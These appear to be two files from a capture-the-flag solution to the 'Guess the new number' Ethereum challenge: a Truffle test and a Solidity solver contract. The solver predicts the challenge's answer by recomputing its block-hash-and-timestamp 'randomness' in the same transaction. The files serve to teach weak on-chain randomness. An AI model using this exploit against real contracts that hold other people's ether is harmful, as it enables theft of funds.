GuessTheNewNumberChallenge.test.js

const GuessTheNewNumberChallenge = artifacts.require('GuessTheNewNumberChallenge');
const GuessTheNewNumberSolver = artifacts.require('GuessTheNewNumberSolver');

contract('GuessTheNewNumberSolver', ([account]) => {
  it('should solve the challenge', async () => {
    let challenge = await GuessTheNewNumberChallenge.new({value: web3.toWei(1, 'ether')});
    let solver = await GuessTheNewNumberSolver.new();

    await solver.guess(challenge.address, {value: web3.toWei(1, 'ether')});

    assert(
      await challenge.isComplete() === true,
      'Challenge has not been completed!'
    );
  });
});

GuessTheNewNumberSolver.sol

pragma solidity ^0.4.21;

import "./GuessTheNewNumberChallenge.sol";

contract GuessTheNewNumberSolver {
    function guess(address _challenge)
    public
    payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        GuessTheNewNumberChallenge challenge = GuessTheNewNumberChallenge(_challenge);
        challenge.guess.value(msg.value)(answer);
    }
}